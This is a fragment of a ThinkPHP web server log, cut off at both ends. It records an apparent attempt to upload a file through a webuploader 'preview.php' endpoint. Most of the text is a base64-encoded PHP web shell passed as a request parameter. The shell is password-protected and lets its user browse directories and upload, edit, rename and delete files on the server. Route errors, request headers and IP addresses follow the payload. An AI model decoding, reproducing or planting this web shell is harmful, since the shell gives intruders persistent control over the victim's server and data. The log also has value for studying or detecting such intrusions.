'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'libs' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:19:40+08:00 ] 116.213.36.234 POST 59.110.137.245/static/hui/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002569s] [吞吐率:389.26req/s] [内存消耗:196.85kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'hui', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 